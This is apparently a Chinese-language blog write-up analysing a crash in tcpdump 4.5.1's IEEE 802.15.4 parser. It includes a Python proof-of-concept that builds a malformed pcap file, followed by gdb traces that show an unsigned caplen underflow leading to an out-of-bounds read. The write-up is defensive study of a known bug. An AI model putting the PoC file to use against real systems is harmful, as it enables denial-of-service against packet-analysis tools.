第一次做漏洞分析,有什么错误的地方欢迎各位提出

分析环境

  • ubuntu16.04 x86_64

  • gdb with pwndbg

  • tcpdump 4.5.1

  • poc

编译安装tcpdump

$ sudo apt-get install libpcap-dev
$ dpkg -l libpcap-dev
$ wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
$ tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
$ cd tcpdump-4.5.1/
$ ./configure
$ make
$ sudo make install

利用poc生成pcap文件

poc:

from subprocess import call
from shlex import split
from time import sleep
def crash():
    command = 'tcpdump -r crash'
    buffer     =   '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
    buffer     +=  '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
    buffer     +=  '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
    buffer     +=  '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
    buffer     +=  "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
    buffer     +=  "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
    buffer     +=  '\x00\x00\x00\x00\x01\x03\x03\x04'
    with open('crash', 'w+b') as file:
        file.write(buffer)
    try:
        call(split(command))
        print("Exploit successful!             ")
    except:
        print("Error: Something has gone wrong!")
def main():
    print("Author:   David Silveiro                           ")
    print("   tcpdump version 4.5.1 Access Violation Crash    ")
    sleep(2)
    crash()
if __name__ == "__main__":
    main()

调试

读入生成的pcap文件,并运行

Program received signal SIGSEGV, Segmentation fault.

hex_and_ascii_print_with_offset (ident=0x47fe57 "\n\t", cp=0x843000 <error: Cannot access memory at address 0x843000>, length=4294967283, oset=133744) at ./print-ascii.c:91

91    s2 = *cp++;

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

───────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────
 RAX  0x2e
 RBX  0x2e
 RCX  0x0
 RDX  0x7ffff79425e0 (_nl_C_LC_CTYPE_class+256) ◂— add    al, byte ptr [rax]
 RDI  0x7fffffffcf90 ◂— 0x3030203030303020 (' 0000 00')
 RSI  0x0
 R8   0x5a5a5a5a5a5a5a5a ('ZZZZZZZZ')
 R9   0x0
 R10  0x1
 R11  0x0
 R12  0x843001
 R13  0x7fffffffcfa9 ◂— 0x3030203030303000
 R14  0x5
 R15  0x7fffffffcfca ◂— 0x2e2e2e2e2e2e /* '......' */
 RBP  0x2e
 RSP  0x7fffffffcf70 ◂— 0x0
 RIP  0x40c8b7 (hex_and_ascii_print_with_offset+103) ◂— movzx  ebx, byte ptr [r12 - 1]
────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────

 ► 0x40c8b7 <hex_and_ascii_print_with_offset+103>    movzx  ebx, byte ptr [r12 - 1]
   0x40c8bd <hex_and_ascii_print_with_offset+109>    mov    rax, r13
   0x40c8c0 <hex_and_ascii_print_with_offset+112>    mov    esi, 0x29
   0x40c8c5 <hex_and_ascii_print_with_offset+117>    sub    rax, rdi
   0x40c8c8 <hex_and_ascii_print_with_offset+120>    sub    rsp, 8
   0x40c8cc <hex_and_ascii_print_with_offset+124>    mov    r8d, 0x473d00
   0x40c8d2 <hex_and_ascii_print_with_offset+130>    sub    rsi, rax
   0x40c8d5 <hex_and_ascii_print_with_offset+133>    mov    ecx, 0x29
   0x40c8da <hex_and_ascii_print_with_offset+138>    mov    edx, 1
   0x40c8df <hex_and_ascii_print_with_offset+143>    mov    rdi, r13
   0x40c8e2 <hex_and_ascii_print_with_offset+146>    mov    ebp, r9d
─────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────
In file: /home/kaka/DEBUG/tcpdump-4.5.1/print-ascii.c
   86 nshorts = length / sizeof(u_short);
   87 i = 0;
   88 hsp = hexstuff; asp = asciistuff;
   89 while (--nshorts >= 0) {
   90 s1 = *cp++;
 ► 91 s2 = *cp++;
   92 (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
   93     " %02x%02x", s1, s2);
   94 hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
   95 *(asp++) = (isgraph(s1) ? s1 : '.');
   96 *(asp++) = (isgraph(s2) ? s2 : '.');
─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp    0x7fffffffcf70 ◂— 0x0
01:0008│        0x7fffffffcf78 ◂— 0x100822577
02:0010│        0x7fffffffcf80 —▸ 0x47fe57 ◂— or     cl, byte ptr [rcx] /* '\n\t' */
03:0018│        0x7fffffffcf88 ◂— 0xfffffff300020a70
04:0020│ rdi    0x7fffffffcf90 ◂— 0x3030203030303020 (' 0000 00')
05:0028│        0x7fffffffcf98 ◂— 0x2030303030203030 ('00 0000 ')
06:0030│        0x7fffffffcfa0 ◂— '0000 0000'
07:0038│ r13-1  0x7fffffffcfa8 ◂— 0x3020303030300030 /* '0' */

从崩溃信息来看,问题出现在print-ascii.c文件中,访问到了一个不允许访问的地址。再结合源码信息可知,指针cp在自加的过程中访问到了一个没有权限访问的地址,因为这是写在一个while循环里,也就是是说nshorts的值偏大,再看nshorts怎么来的,由此nshorts = length / sizeof(u_short);可知,可能是函数传入的参数length没有控制大小导致,因此目标就是追踪length是如何传入的。

通过bt回溯一下调用情况

pwndbg> bt
#0  hex_and_ascii_print_with_offset (ident=0x47fe57 "\n\t", cp=0x843000 <error: Cannot access memory at address 0x843000>, length=4294967283, oset=133744) at ./print-ascii.c:91
#1  0x000000000040aa7d in ieee802_15_4_if_print (ndo=0x820140 <Gndo>, h=<optimized out>, p=<optimized out>) at ./print-802_15_4.c:180
#2  0x000000000045bb9f in print_packet (user=0x7fffffffd2e0 "@\001\202", h=0x7fffffffd1d0, sp=0x822570 "@\377") at ./tcpdump.c:1950
#3  0x00007ffff7bb3ac4 in ?? () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#4  0x00007ffff7ba41cf in pcap_loop () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#5  0x0000000000403f27 in main (argc=argc@entry=3, argv=argv@entry=0x7fffffffe548) at ./tcpdump.c:1569
#6  0x00007ffff77eb830 in __libc_start_main (main=0x4030e0 <main>, argc=3, argv=0x7fffffffe548, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe538) at ../csu/libc-start.c:291
#7  0x0000000000404cd9 in _start ()

追踪一下从main函数开始,每个函数的执行流程

pcap_loop()

► 0x403f22 <main+3650>    call   pcap_loop@plt <0x4027a0>
        rdi: 0x8222c0 —▸ 0x7ffff7bb3a40 ◂— push   r15
        rsi: 0xffffffff
        rdx: 0x45bb50 (print_packet) ◂— push   r12
        rcx: 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0

在跟进pcap_loop()函数的过程中,遇到一处call,步入看看

► 0x7ffff7ba41ca <pcap_loop+42>    call   0x7ffff7bb3a40

来到了bpf_filter函数,注意第三个参数就是我们传入crash数据包的len,然而到后面发现,其实与这个值无关

► 0x7ffff7bb3aa9    call   bpf_filter <0x7ffff7bba870>
        rdi: 0x825c30 ◂— 0x4900000006
        rsi: 0x822570 ◂— 0x7f72a00600ff40
        rdx: 0x379c3c00
        rcx: 0x8

pcap数据包内关键结构体

struct pcap_pkthdr {
        struct timeval ts;      /* time stamp */
        bpf_u_int32 caplen;     /* length of portion present */
        bpf_u_int32 len;        /* length this packet (off wire) */
};
 ts:    抓取时间
 caplen:4字节 保存下来的包长度
 len:   4字节 数据包的真实长度

使用010editer可以很容易的分析这个结构体

捕获.PNG

紧接着来到另一处函数调用

────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────
   0x7ffff7bb3ab0    je     0x7ffff7bb3ace
   0x7ffff7bb3ab2    add    ebp, 1
   0x7ffff7bb3ab5    mov    rdx, qword ptr [rsp + 0x18]
   0x7ffff7bb3aba    mov    rsi, r12
   0x7ffff7bb3abd    mov    rdi, qword ptr [rsp]
 ► 0x7ffff7bb3ac1    call   r15 <0x45bb50>
        rdi: 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0
        rsi: 0x7fffffffcac0 ◂— 0x8000
        rdx: 0x822570 ◂— 0x7f72a00600ff40
   0x7ffff7bb3ac4    cmp    ebp, r14d
   0x7ffff7bb3ac7    jl     0x7ffff7bb3ace
   0x7ffff7bb3ac9    test   r14d, r14d
   0x7ffff7bb3acc    jg     0x7ffff7bb3b30
   0x7ffff7bb3ace    mov    eax, dword ptr [rbx + 0x34]

跟进去以后

► 0x45bb73 <print_packet+35>    mov    eax, dword ptr [rbx + 0x10]
   0x45bb76 <print_packet+38>    mov    rdx, qword ptr [rip + 0x26c2db] <0x6c7e58>
   0x45bb7d <print_packet+45>    add    rax, rbp
   0x45bb80 <print_packet+48>    mov    qword ptr [rdx + 0xe0], rax
   0x45bb87 <print_packet+55>    mov    edx, dword ptr [r12 + 0x10]
   0x45bb8c <print_packet+60>    test   edx, edx
───────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────
In file: /home/kaka/DEBUG/tcpdump-4.5.1/tcpdump.c
   1942 /*
   1943 * Some printers want to check that they're not walking off the
   1944 * end of the packet.
   1945 * Rather than pass it all the way down, we set this global.
   1946 */
 ► 1947 snapend = sp + h->caplen;
   1948 
   1949         if(print_info->ndo_type) {
   1950                 hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);
   1951         } else {
   1952                 hdrlen = (*print_info->p.printer)(h, sp);

首先把caplen(vlaue = 8)传进来

来到下面这个地方

───────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────

   0x45bb8c <print_packet+60>    test   edx, edx
   0x45bb8e <print_packet+62>    je     print_packet+168 <0x45bbf8>
   0x45bb90 <print_packet+64>    mov    rdx, rbp
   0x45bb93 <print_packet+67>    mov    rsi, rbx
   0x45bb96 <print_packet+70>    mov    rdi, qword ptr [r12]
 ► 0x45bb9a <print_packet+74>    call   qword ptr [r12 + 8] <0x40a8c0>
   0x45bb9f <print_packet+79>    mov    rdx, qword ptr [rip + 0x26c2b2] <0x6c7e58>
   0x45bba6 <print_packet+86>    mov    ecx, dword ptr [rdx + 0x40]
   0x45bba9 <print_packet+89>    test   ecx, ecx
   0x45bbab <print_packet+91>    je     print_packet+193 <0x45bc11>
   0x45bbad <print_packet+93>    cmp    ecx, 1

───────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────

In file: /home/kaka/DEBUG/tcpdump-4.5.1/tcpdump.c
   1945 * Rather than pass it all the way down, we set this global.
   1946 */
   1947 snapend = sp + h->caplen;
   1948 
   1949         if(print_info->ndo_type) {
 ► 1950                 hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);
   1951         } else {
   1952                 hdrlen = (*print_info->p.printer)(h, sp);
   1953         }
   1954                 
   1955 if (Xflag) {

程序call了一个函数,这个函数就是<ieee802_15_4_if_print>函数,这个函数定义在print-802_15_4.c中,</ieee802_15_4_if_print>

u_int
ieee802_15_4_if_print(struct netdissect_options *ndo,
                      const struct pcap_pkthdr *h, const u_char *p)
{
printf("address : %x\n",p);
u_int caplen = h->caplen; //传入的caplen,赋值给无符号整形变量caplen,且该值为8
int hdrlen;
u_int16_t fc;
u_int8_t seq;
if (caplen < 3) {  //不满足
ND_PRINT((ndo, "[|802.15.4] %x", caplen));
return caplen;
}
fc = EXTRACT_LE_16BITS(p);
hdrlen = extract_header_length(fc);
seq = EXTRACT_LE_8BITS(p + 2);
p += 3;
caplen -= 3;//此时caplen = 5
ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
if (vflag)
ND_PRINT((ndo,"seq %02x ", seq));
if (hdrlen == -1) {
ND_PRINT((ndo,"malformed! "));
return caplen;
}
if (!vflag) {
p+= hdrlen;
caplen -= hdrlen;
} else {
u_int16_t panid = 0;
switch ((fc >> 10) & 0x3) {
case 0x00:
ND_PRINT((ndo,"none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved destination addressing mode"));
return 0;
case 0x02:
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));
p += 8;
break;
}
ND_PRINT((ndo,"< ");
switch ((fc >> 14) & 0x3) {
case 0x00:
ND_PRINT((ndo,"none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved source addressing mode"));
return 0;
case 0x02:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
}
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
}
                        ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
p += 8;
break;
}
caplen -= hdrlen;
}

传入的第二个值是struct pcap_pkthdr *h结构体,函数使用的参数caplen就是结构体中的caplen,上面代码中也已经标注一部分,对于caplen操作的关键代码在第10行开始的,直接上面看这些代码对我我这样的新人来说,有些懵~,但是也不难看出,caplen进行一些加减操作后,没有判断正负,直接丢给了下一个函数使用。

直接跟进函数,看看最后赋值情况

───────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────

   0x40aa63 <ieee802_15_4_if_print+419>    test   esi, esi
   0x40aa65 <ieee802_15_4_if_print+421>    jne    ieee802_15_4_if_print+137 <0x40a949>
   0x40aa6b <ieee802_15_4_if_print+427>    mov    dword ptr [rsp + 0xc], eax
   0x40aa6f <ieee802_15_4_if_print+431>    mov    rsi, qword ptr [rsp]
   0x40aa73 <ieee802_15_4_if_print+435>    mov    rdi, r15
 ► 0x40aa76 <ieee802_15_4_if_print+438>    call   qword ptr [r15 + 0xf0] <0x45b270>
        rdi: 0x820140 (Gndo) ◂— 0x0
        rsi: 0x822585 ◂— 0x0
        rdx: 0xfffffff3
        rcx: 0x7fffffeb
   0x40aa7d <ieee802_15_4_if_print+445>    mov    eax, dword ptr [rsp + 0xc]
   0x40aa81 <ieee802_15_4_if_print+449>    add    rsp, 0x18
   0x40aa85 <ieee802_15_4_if_print+453>    pop    rbx
   0x40aa86 <ieee802_15_4_if_print+454>    pop    rbp
   0x40aa87 <ieee802_15_4_if_print+455>    pop    r12

再次调用另一个函数地址为<0x45b270>,此时传入的第三个参数即caplen已经变成一个很大的值0xfffffff3

pwndbg> x/2i 0x45b270
   0x45b270 <ndo_default_print>:    mov    edi,0x47fe57
   0x45b275 <ndo_default_print+5>:    jmp    0x40ca80 <hex_and_ascii_print>

可知该函数会继续跳转执行函数,继续跟进去

► 0x45b275 <ndo_default_print+5>                   jmp    hex_and_ascii_print <0x40ca80>
    ↓
   0x40ca80 <hex_and_ascii_print>                   xor    ecx, ecx
   0x40ca82 <hex_and_ascii_print+2>                 jmp    hex_and_ascii_print_with_offset <0x40c850>

最终来到了hex_and_ascii_print_with_offset 函数,也是我们回溯调用的时候的最后一个函数

────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────────
 RAX  0x7ffffff9
 RBX  0xfffffff3
 RCX  0x0
 RDX  0xfffffff3
 RDI  0x47fe57 ◂— or     cl, byte ptr [rcx] /* '\n\t' */
 RSI  0x822585 ◂— 0x0
 R8   0x0
 R9   0x1c
 R10  0x6
 R11  0x470fc9 ◂— 0x41006e6f63616542 /* 'Beacon' */
 R12  0x12
 R13  0x822570 ◂— 0x7f72a00600ff40
 R14  0x3
 R15  0x820140 (Gndo) ◂— 0x0
 RBP  0xff40
 RSP  0x7fffffffca08 ◂— 0x12
 RIP  0x40c85c (hex_and_ascii_print_with_offset+12) ◂— push   rbp
───────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────
   0x40c852 <hex_and_ascii_print_with_offset+2>     mov    eax, edx
   0x40c854 <hex_and_ascii_print_with_offset+4>     push   r14
   0x40c856 <hex_and_ascii_print_with_offset+6>     push   r13
   0x40c858 <hex_and_ascii_print_with_offset+8>     push   r12
   0x40c85a <hex_and_ascii_print_with_offset+10>    shr    eax, 1
 ► 0x40c85c <hex_and_ascii_print_with_offset+12>    push   rbp
   0x40c85d <hex_and_ascii_print_with_offset+13>    push   rbx
   0x40c85e <hex_and_ascii_print_with_offset+14>    lea    rax, [rsi + rax*2]
   0x40c862 <hex_and_ascii_print_with_offset+18>    mov    r12, rsi
   0x40c865 <hex_and_ascii_print_with_offset+21>    xor    r14d, r14d
   0x40c868 <hex_and_ascii_print_with_offset+24>    sub    rsp, 0x198

对应的的c如下

nshorts = length / sizeof(u_short);
i = 0;
hsp = hexstuff; asp = asciistuff;
while (--nshorts >= 0) {
s1 = *cp++;
s2 = *cp++;

除法以后,nshorts的值仍然很大,导致进行了过多的循环,使指针访问到了不可访问内存

思考
那么caplen这个值需要多大才可以呢?

In file: /home/kaka/DEBUG/tcpdump-4.5.1/print-802_15_4.c
   109 
   110 seq = EXTRACT_LE_8BITS(p + 2);
   111 
   112 p += 3;
   113 caplen -= 3;
 ► 114 
   115 ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
   116 if (vflag)
   117 ND_PRINT((ndo,"seq %02x ", seq));
   118 if (hdrlen == -1) {
   119 ND_PRINT((ndo,"malformed! "));

───────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────

00:0000│ rsp  0x7fffffffca30 —▸ 0x822573 ◂— 0xb8fb78007f72a006
01:0008│      0x7fffffffca38 —▸ 0x822570 ◂— 0x7f72a00600ff40
02:0010│      0x7fffffffca40 —▸ 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0
03:0018│      0x7fffffffca48 —▸ 0x7fffffffcac0 ◂— 0x8000
04:0020│      0x7fffffffca50 —▸ 0x822570 ◂— 0x7f72a00600ff40
05:0028│      0x7fffffffca58 —▸ 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0
06:0030│      0x7fffffffca60 —▸ 0x7fffffffcab8 —▸ 0x822570 ◂— 0x7f72a00600ff40
07:0038│      0x7fffffffca68 ◂— 0xffffffff

─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────

 ► f 0           40aa2a ieee802_15_4_if_print+362
   f 1           45bb9f print_packet+79
   f 2     7ffff7bb3ac4
   f 3     7ffff7ba41cf pcap_loop+47
   f 4           403f27 main+3655
   f 5     7ffff77eb830 __libc_start_main+240
pwndbg> p caplen 
$4 = 5

此时的caplen为5

124 if (!vflag) {
 ► 125 p+= hdrlen;
   126 caplen -= hdrlen;
   127 } else {
   128 u_int16_t panid = 0;
//经调试,没有进入这个条件,所以caplen没变

   177 caplen -= hdrlen;

   178                 printf("caplen : %d\n",caplen);

 ► 179 }

   180     printf("after : %p\n",p);

   181 if (!suppress_default_print)

   182 (ndo->ndo_default_print)(ndo, p, caplen);

   183 

   184 return 0;

───────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────

00:0000│ rsp  0x7fffffffca30 —▸ 0x822585 ◂— 0x0

01:0008│      0x7fffffffca38 —▸ 0x822570 ◂— 0x7f72a00600ff40

02:0010│      0x7fffffffca40 —▸ 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0

03:0018│      0x7fffffffca48 —▸ 0x7fffffffcac0 ◂— 0x8000

04:0020│      0x7fffffffca50 —▸ 0x822570 ◂— 0x7f72a00600ff40

05:0028│      0x7fffffffca58 —▸ 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0

06:0030│      0x7fffffffca60 —▸ 0x7fffffffcab8 —▸ 0x822570 ◂— 0x7f72a00600ff40

07:0038│      0x7fffffffca68 ◂— 0xffffffff

─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────

 ► f 0           40aa5b ieee802_15_4_if_print+411

   f 1           45bb9f print_packet+79

   f 2     7ffff7bb3ac4

   f 3     7ffff7ba41cf pcap_loop+47

   f 4           403f27 main+3655

   f 5     7ffff77eb830 __libc_start_main+240

pwndbg> p caplen 

$13 = 4294967283

最后 caplen这个值为-13,所以,caplen值最小为13+5+3=21 = 0x15

将数据包内的caplen字段修改成0x21以后没有再发生指针越界,此时的caplen为0,与len字段无关,甚至修改为0都可以。

pwndbg> run -r crash
Starting program: /usr/local/sbin/tcpdump -r crash
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
17:06:08.000000 IEEE 802.15.4 Beacon packet 
0x0000:  2b2b 2b2b 2b2b 2b85 c903 0000            +++++++.....
tcpdump: pcap_loop: bogus savefile header
[Inferior 1 (process 122683) exited with code 01]

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